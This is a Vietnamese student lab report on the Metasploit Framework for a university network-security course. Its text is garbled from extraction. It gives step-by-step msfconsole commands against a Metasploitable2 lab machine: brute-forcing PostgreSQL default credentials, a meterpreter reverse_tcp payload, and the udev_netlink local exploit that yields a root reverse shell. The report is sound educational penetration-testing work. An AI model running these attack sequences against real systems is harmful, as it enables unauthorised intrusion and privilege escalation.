Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 33 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
33
Dung lượng
2,62 MB
Nội dung
HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG KHOA CƠNG NGHỆ THƠNG TIN Học phần: An tồn mạng Bài báo cáo: Metasploit Giảng viên hướng dẫn: Sinh viên thực hiện: Mã sinh viên: Nhóm: SĐT: Email: TS Đặng Minh Tuấn Nguyễn Thanh Hải B18DCAT072 01 0966936018 thanhhai2109tc@gmail.com Hà Nội 2021 MỤC LỤC LỜI CẢM ƠN Chương 1: Tổng quan Metasploit 1.1 Metasploit gì? 1.2 Các thành phần Metasploit 1.3 Tính Chương 2: Cấu trúc Metasploit 2.1 Payload 2.2 Meterpreter Chương 3: Quy trình kiểm thử Metasploit 10 3.1 Các câu lệnh sử dụng msfconsole 10 3.2 Quy trình kiểm thử 11 3.3 Các bước để khai thác mục tiêu 12 Chương 4: Các lab, kịch demo 14 4.1 Chuẩn bị: 14 4.1.1Cài đặt Metasploitable2 làm máy victim 14 4.1.2 Kiểm tra cài đặt NSE scripts cho nmap\ 17 4.1.3 Quét máy victim Metasploitable2 tìm lỗ hổng tồn sử dụng NSE script với nmap 19 4.2 Bài lab 1: Khai thác lỗi đăng nhập PostgreSQL, cổng 5432: 23 4.3 Bài lab 2: Khai thác lỗi PostgreSQL cho phép mở shell chạy với quyền root: 26 KẾT LUẬN 32 TÀI LIỆU THAM KHẢO 33 LỜI CẢM ƠN Đầu tiên, em xin gửi lời cảm ơn chân thành đến Học viện Công nghệ Bưu Viễn thơng đưa mơn học An tồn mạng vào chương trình dạy Đặc biệt em xin gửi lời cảm ơn tới giảng viên hướng dẫn em TS Đặng Minh Tuấn hướng dẫn truyền đạt kiến thức cho em suốt thời gian học vừa qua Thầy truyền đạt cho em nhiều kiến thức chuyên ngành giúp ích lớn cho em vào môn học khác đồng thời công việc sau Do thời gian tìm hiểu cịn hạn chế, cố gắng báo cáo em chắn khơng tránh khỏi thiếu sót, em mong nhận ý kiến đánh giá phê bình từ phía thầy để bào báo cáo hoàn thiện Lời cuối cùng, em xin kính chúc thầy ln khỏe mạnh, thành cơng hạnh phúc Hà Nội, ngày 23 tháng 12 năm 2021 Sinh viên Nguyễn Thanh Hải Chương 1: Tổng quan Metasploit 1.1 Metasploit gì? Ra đời vào năm 2003 tác giả H D Moore - Metasploit Framework tên dự án bảo mật máy tính nhằm giúp tổng hợp,cung cấp thông tin lỗ hổng bảo mật đồng thời hỗ trợ khai thác lỗ hổng Metasploit Framework tập trung vào việc triển khai nhanh bước khai thác lỗ hổng bảo mật phát triển hệ thống pháthiện xâm nhập Ban đầu viết tảng ngơn ngữ lập trình Perl với thành phần viết C Python,sau viết lại Ruby Năm 2009, Metasploit Rapid7 – công ty chuyên bảo mật mua lại Metasploit có phiên bản, phiên mã nguồn mở phiên dành cho người dùng chuyên nghiệp với giá cho năm sử dụng cho người lên đến $15000 đô Bản chất Metasploit hiểu theo cách đơn giản kho chứa đoạn code viết Ruby nhằm mục đích kiểm tra bảo mật hệ thống ứng dụng Các đoạn code dùng để công, xâm nhập, leo thang đặc quyền, thu thập liệu, quét lỗi, chuyển liệu máy công máy nạn nhân, v.v nhiều tảng khác từ smart devices (Android, IOS), máy tính (Linux, Mac, Windows), thiết bị IoT,… Vì thân Metasploit chứa phần mềm nguy hiểu nên Metasploit khơng khuyến khích cài máy sử dụng cho mục đích thường nhật hàng ngày dẫn đến tình trạng người dùng hệ thống có cài Metasploit bị cơng ngược lại Các phần mềm diệt virus (AV) coi Metasploit mối nguy hiểm, nên quét thấy Metasploit, AV xóa Metasploit nên dùng máy ảo máy dành riêng cho mục đích pentest chạy hệ điều hành tùy biến cho mục đích pentest Kali Linux, Parrot Linux hay Windows Commando,… Metasploit không đơn giản kho “chứa vũ khí” dành cho việc kiểm định hệ thống Nó cịn dùng để giúp pentesters tiết kiệm thời gian tìm xâm nhập lỗ hổng tìm chưa vá hệ thống mục tiêu, điều cho phép pentesters tập trung vào lỗi liên quan đến sách (policies), social engineering hay lỗ hổng zero day,… 1.2 Các thành phần Metasploit Hỗ trợ giao diện người dùng với dạng: • Console interface: Đây giao diện sử dụng dòng lệnh để cấu hình, kiểm tra tốc độ nhanh mềm dẻo Sử dụng file msfconsole.bat • Web interface: Giao tiếp với người dùng thông qua giao diện web Sử dụng file msfweb.bat Environment: • Global Environment: Được thực thi thông qua câu lệnh setg unsetg, tùy chọn gán mang tính tồn cục, đưa vào tất module khai thác • Temporary Environment: Được thực thi thơng qua câu lệnh set unset, environment đưa vào module khai thác load tại, không ảnh hưởng đến module khai thác khác Những thành phần có cấu hình giống exploits module là: LPORT, LHOST, PAYLOAD bạn nên cấu hình chế độ Global Environment để khơng phải cấu hình lại nhiều lần Ví dụ: msf> setg LPORT 80 msf> setg LHOST 172.16.8.2 1.3 Tính - Quét cổng để xác định dịch vụ hoạt động server - Xác định lỗ hổng dựa phiên hệ điều hành phiên phần mềm cài đặt hệ điều hành - Thử nghiệm khai thác lỗ hổng xác định Chương 2: Cấu trúc Metasploit Trong Kali Linux, MetasploitFramework cài đặt mặc định thư mục “/usr/share/metasploit-framework” Một số thư mục quan trọng cần ý sau: Data: Đây nơi dùng để lưu trữ tập tin nhị phân chỉnh sửa cần thiết cho việc khai thác, tệp tin cơng từ điển file hình ảnh, Documentation: Đây nơi chứa tài liệu mô tả cần thiết cho metasploit framework Lib: chứa file thư viện mã nguồn sở framework Modules: Đây nơi chứa module thực tế Metasploit Framework dùng cho khai thác, chức phụ để kiểm tra khả cơng, module cho việc mã hóa Plugins: Metasploit bao gồm nhiều plugins, đoạn chương trình nhỏ hỗ trợ trình sử dụng Metasploit Tools: Nơi chứa lệnh command-line tiện ích sử dụng trình khai thác Scripts: Nơi chứa “meterpreter” kịch mã khai thác khác Ngồi Metasploit Framework cịn có thư viện khác nhau: Rex: chứa thư viện cho tác vụ Metasploit Framework Msf:Core: cung cấp API cho việc phát triển mã khai thác Đâycũng phần cần quan tâm để viết mã khai thác lỗ hổng cho ứng dụng web Msf:Base: thư viện cung cấp API thiết kế cho việc phát triển giao diện 2.1 Payload Một payload Metasploit-Framework thường "ánh xạ" module khai thác Bản thân chứa đoạn mã thực thi mục tiêu công Những payload sử dụng linh hoạt có giá trị sử dụng lớn nhiều loại kịch cơng khác Có ba loại payload: Singles: Những payload hồn tồn khép kín hoạt động cách độc lập không kết nối với điều Nó thường dùng để làm việc đơn giản thêm người dùng vào hệ thống mục tiêu hay đơn giản mở chương trình mục tiêu bị cơng.Các payload dạng thường chạy lần Stagers: Payload tạo kết nối mạng kẻ cơng mục tiêu Nó thiết kế để đảm bảo tính nhỏ gọn xác thực tính khả thi việc cơng Nó thiết kế để tải xuống payload “Stages” Stages: Đây payload tải xuống bới “stagers” Nó có kích thước lớn, thiết kế với nhiều tùy chọn, chức khác 2.2 Meterpreter Đây payload nâng cao có Metasploit-Framework Mục đích để cung cấp tập lệnh để khai thác, công mục tiêu Nó viết từ thành phần phát triển dạng thư viện liên kết động (DLL) files Meterpreter thành phần mở rộng thực thi nhớ, hồn tồn khơng ghi lên đĩa nên tránh phát từ phần mềm chống virus Meterpreter cung cấp tập lệnh để người sử dụng khai tháctrên mục tiêu: Fs: Cho phép tải lên tải xuống tệp từ máy bị công Net: Cho phép xem thông tin mạng máy bị công IP, bảng định tuyến (route table) Process: Cho phép tạo chương trình chạy máy bị tấncơng Sys: Cho phép xem thông tin hệ thống máy bị cơng Chương 3: Quy trình kiểm thử Metasploit 3.1 Các câu lệnh sử dụng msfconsole - Back: Lệnh dùng bạn muốn thoát khỏi module bạn chọn trước sau hồn thành cơng việc muốn chuyển sang cơng việc khác Ví dụ: msf payload(reverse http) > back msf> - Check: Lệnh giúp ta kiểm tra cấu hình cho khai thác chưa, việc hoàn thành chưa Cho ta biết kết mà không cần phải thực thi khai thác Nhưng khơng phải tất mã khai thác hỗ trợ lệnh - Connect: Lệnh giống netcat thu nhỏ đc cho vào metasploit hỗ trợ với ssl, proxy, pivoting Với việc dùng câu lệnh connect với địa ip port tương ứng, connect tới host từ metasploit giống dùng với netcat telnet Ví dụ: msf > connect 118.69.228.254 22 - Info: Lệnh cho biết thông tin chi tiết module (hay mã khai thác ) Hiển thị cho ta thơng tin nhất, bao gồm tùy chọn cần thiết - Irb: Lệnh cho ta thao tác mơi trường ruby Ví dụ: msf > irb –h - Jobs: Lệnh cho ta biết module chạy - Load: Lệnh để load plugin từ metasploit plugins - Search: Lệnh giúp ta tìm kiếm exploit, auxiliary, encoder Trong cịn hỗ trợ số keywork giúp cải tiến khả tìm kiếm như: name, path, platform, port, type, app, author, cve, bid, osvdb, edb Ví dụ: search cve:2009 type:exploit app:client - Sessions: lệnh liệt kê session tồn tại, session session shell, meterpreter - Set - Unset: Lệnh cho phép ta cấu hình cho exploit lệnh gặp thường xuyên Unset lệnh có ý nghĩa ngược lại - Setg - Unsetg: Trong q trình thực cơng mục tiêu, nhiều mục tiêu Ta dùng exploit đơi nhiều exploit Có vào option set bình 10 - Cài đặt CSDL vulscan: sudo git clone https://github.com/scipag/vulscan.git ls vulscan 4.1.3 Quét máy victim Metasploitable2 tìm lỗ hổng tồn sử dụng NSE script với nmap Sử dụng công cụ nmap với NSE script để rà quét lỗ hổng tồn máy chạy Metasploitable2 nmap script=vulscan/vulscan.nse -sV -p21 192.168.117.130 19 nmap script=vulscan/vulscan.nse -sV -p22 192.168.117.130 20 nmap script=vulscan/vulscan.nse -sV -p139 192.168.117.130 21 nmap script=vulscan/vulscan.nse -sV -p5432 192.168.117.130 22 4.2 Bài lab 1: Khai thác lỗi đăng nhập PostgreSQL, cổng 5432: - Khởi động Metasploit 23 - Khai báo sử dụng mô đun công: msf > use auxiliary/scanner/postgres/postgres_login - Chạy lệnh “show options” để xem thông tin mô đun công sử dụng 24 - Đặt địa IP máy victim: msf > set RHOST 192.168.117.130 - Đặt địa tham số dừng: msf> set STOP_ON_SUCCESS true - Thực thi công: msf > run 25 ➔ Như vậy, sau số lần thử, máy victim thông báo kết nối thành công đến CSDL PostgreSQL sử dụng tài khoản với mật ngầm định Login Successful: postgres:postgres@template1 - Gõ lệnh exit để kết thúc 4.3 Bài lab 2: Khai thác lỗi PostgreSQL (cổng 5432)cho phép mở shell chạy với quyền root: - Khởi động Metasploit 26 - Khai báo sử dụng mô đun postgres_payload để tạo phiên kết nối đến CSDL: msf > use exploit/linux/postgres/postgres_payload - Chạy lệnh “show options” để xem thông tin mô đun công sử dụng 27 - Chọn payload cho thực thi: msf > set payload linux/x86/meterpreter/reverse_tcp - Đặt địa IP máy victim: msf > set RHOST 192.168.117.130 - Đặt địa IP máy công: msf > set LHOST 192.168.117.129 28 - Đặt mật cho CSDL: msf > set PASSWORD postgres - Thực thi công: msf > exploit ➔ Tạo phiên kết nối đến CSDL - Chuyển phiên kết nối sang chế độ chạy ngầm sử dụng lệnh “background”: meterpreter > background - Đặt mô đun khai thác để mở shell: msf > use exploit/linux/local/udev_netlink - Chọn payload cho thực thi: msf > set payload linux/x86/shell_reverse_tcp 29 - Chạy lệnh “show options” để xem thông tin mô đun công sử dụng - Kết nối đến phiên CSDL chạy ngầm: msf > set SESSION - Thực thi công: msf > exploit 30 - Chạy lệnh để đọc tên người dùng máy victim khai thác thành công: whoami root uname -a Linux B18DCAT072-NguyenThanhHai 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux - Gõ lệnh exit sau exit -y lần để kết thúc 31 KẾT LUẬN Có thể nói Metasploit Framework cơng cụ hữu ích cho việc công, kiểm thử xâm nhập, khai thác lỗ hổng, đúc kết từ nhiều chuyên gia tồn giới Nhưng đồng thời sử dụng với mục đích xấu nhiều Hacker Cho nên việc đời công cụ tạo báo cáo làm bật ý nghĩa việc tìm phát lỗ hổng hệ thống có ý nghĩa vơ quan trọng Nó giúp ta tổng hợp liệu thăm dị, để từ dễ dàng chuyển giao cho người có trách nhiệm quản lý, sở để khắc phục khiếm khuyết hệ thống, làm hệ thống an toàn hoàn thiện Sau tìm hiểu cơng cụ Bài báo cáo đạt kết : o Tìm hiểu công cụ công kiểm thử mã nguồn mở lớn giới Metasploit, cấu trúc, thành phần cách hoạt động công cụ o Xây dựng lab khai thác công lỗi PostgreSQL công cụ Metasploit 32 TÀI LIỆU THAM KHẢO [1] [2] [3] [4] [5] [6] [7] H X Dậu, “An tồn tồn bảo mật hệ thống thơng tin,” 2017 Wikipedia, “Metasploit Project.” [Online] Available: https://en.wikipedia.org/wiki/Metasploit_Project [Accessed: 16-Dec-2021] Offensive Security, “METASPLOIT UNLEASHED – FREE ETHICAL HACKING COURSE” [Online] Available: https://www.offensive-security.com/metasploitunleashed/ [Accessed: 15-Mar-2015] Network Sercurity, “Giới thiệu Metasploit Framework” [Online] Available: https://tuhocnetworksecurity.business.blog/2021/01/12/kali-linux-can-ban-bai-3gioi-thieu-metasploit/ [Accessed: 12-Jan-2021] Whitehat, “Giới thiệu công cụ Metasploit Framework” [Online] Available: https://whitehat.vn/threads/gioi-thieu-cong-cu-metasploit-framework.4203/ [Accessed: 12-Feb-2015] Github, “Metasploit-Framework” [Online] Available: https://github.com/rapid7/metasploitframework/blob/master/CONTRIBUTING.md [Accessed: 14-Jan-2017] Kali, “Contributing to Metasploit” [Online] Available: https://www.kali.org/tools/metasploit-framework/ [Accessed: 26-Jan-2021] 33 ... tồn máy chạy Metasploitable2 nmap script=vulscan/vulscan.nse -sV -p21 192.168.117.130 19 nmap script=vulscan/vulscan.nse -sV -p22 192.168.117.130 20 nmap script=vulscan/vulscan.nse -sV -p139... script=vulscan/vulscan.nse -sV -p5432 192.168.117.130 22 4.2 Bài lab 1: Khai thác lỗi đăng nhập PostgreSQL, cổng 5432: - Khởi động Metasploit 23 - Khai báo sử dụng mô đun công: msf > use auxiliary/scanner/postgres/postgres_login... bào báo cáo hoàn thiện Lời cuối cùng, em xin kính chúc thầy ln khỏe mạnh, thành cơng hạnh phúc Hà Nội, ngày 23 tháng 12 năm 2021 Sinh viên Nguyễn Thanh Hải Chương 1: Tổng quan Metasploit 1.1 Metasploit